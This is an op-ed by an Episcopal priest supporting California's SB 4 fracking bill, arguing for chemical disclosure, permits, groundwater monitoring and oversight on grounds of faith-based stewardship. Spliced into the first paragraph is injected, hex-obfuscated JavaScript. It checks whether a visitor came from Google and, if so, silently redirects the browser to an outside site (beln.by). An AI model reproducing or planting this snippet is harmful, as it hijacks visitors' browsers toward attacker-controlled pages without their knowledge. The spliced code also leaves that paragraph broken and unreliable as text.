Health, environmental regulations needed in hydraulic fracturing

A deeply contested debate is happening in Sacramento over SB 4, Senator Pavley’s bill that would put into place safeguards governing the practice of hydraulic fracturing (“fracking”.) var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. These practices inject a mixture of chemicals, water and sand  into rock formations in order to create small fractures allowing for extraction of otherwise unattainable oil and gas. Currently, there is little oversight of these practices, and they are exempt from the Clean Air and Clean Water Acts. With the recently added amendments, SB 4 would put into place rigorous guidelines governing this practice.  These amendments are supported by environmental, health, social justice and faith organizations.


According to Senator Pavley, the state “cannot tell you where wells are being fracked, what chemicals are being used and where the waste fluids are stored.” The use of chemicals is a concern because of possible groundwater contamination. Disposal of fracking waste has also been linked to earthquakes in other states, leading to concern in earthquake-prone California. There is no official or regular inspection of groundwater or of the abandoned wells once they have been fracked. Californians have a right to this information and to safeguards governing this practice.


SB 4 will require operators to obtain a permit that would include disclosure of the chemicals and the source and amount of water used, as well as information for the disposal of the waste. Neighbors of fracked sites will be given 30 days advance notice. Regional groundwater monitoring will be implemented by the state water board. Neighbors could also get their own water well or surface water tested before and after fracking occurs near by. SB 4 would require an independent scientific study to look at the environmental and health risks that well stimulation treatments, including fracking, may pose, and their possible impacts on seismic activity.


Much of this strenuous debate is founded on misinformation that is largely led by the oil and gas industries who would, understandably, like to proceed with fracking much the way the miners went after gold here in California during the late 19th century – with no oversight, rules, regulations or, frankly speaking, any consideration of the harm it would cause to Creation or the health of future generations.  The billions of barrels of oil hidden under Monterey Shale, once again, gives California a “gold rush” opportunity, but this time California needs to be cautious and must weigh the consequences of an unregulated industry.  Let’s not make the same mistakes that we made when we were in the Wild, Wild West.  Let’s be the smart sophisticated protectors of all our natural resources by not harming one to get to another. This deeply divided conversation in our capitol is based on two extremes. One, that of profit first and unlimited financial gain at what ever the cost; the other of no gain at all.  It is my hope that California will find economic possibilities without harming the long-term health of our environment upon which we all depend. Profit was, but doesn’t have to be, the priority goal for many who see our God-given natural resources as indestructible and exploitable.  We can do better.


SB 4 does not call for an end to fracking or even a moratorium. It does not ask that all oil wells be held up for review.  It calls for transparency, a right to know.  It calls for regular inspections and oversight to insure the health of our underground water. Fracking is happening, not just in California, but all over the US.  It has brought down the price of natural gas; it has enriched otherwise economically deprived communities; and it is reducing the use of coal which is the dirtiest and most dangerous source of energy contributing to green house gas emissions. There is little chance of stopping this booming industry – but there is a chance to have it done safely so as not to jeopardize our health or the environment.  If this bill fails and we continue business as usual, all bets are off.  The profit seekers will win and the oil and gas industry will continue to reap benefits from an unregulated raping of the earth.  There is only one way to go with regard to fracking – force the industry to do it safely. Otherwise we are at the mercy of those whom Jesus threw out of the temple – the money changers.


SB 4 would put into place crucial public health and environmental regulations on this hazardous technology that are currently absent.


SB 4 and Senator Pavley can be trusted to have the best interest of Californians at heart.  We have to get this right and we may not get a second chance.  God called us to be stewards of the Earth and we have a moral responsibility to respond.  Bringing more transparency and information to this largely-unregulated and possibly dangerous practice is the right thing to do.

Ed’s Note: The Rev. Canon Sally Bingham is an ordained Episcopal Priest and Canon for the Environment for the Diocese of California. She is the President of The Regeneration Project and the Interfaith Power and Light Campaign, a ministry devoted to deepening the connection between ecology and faith.

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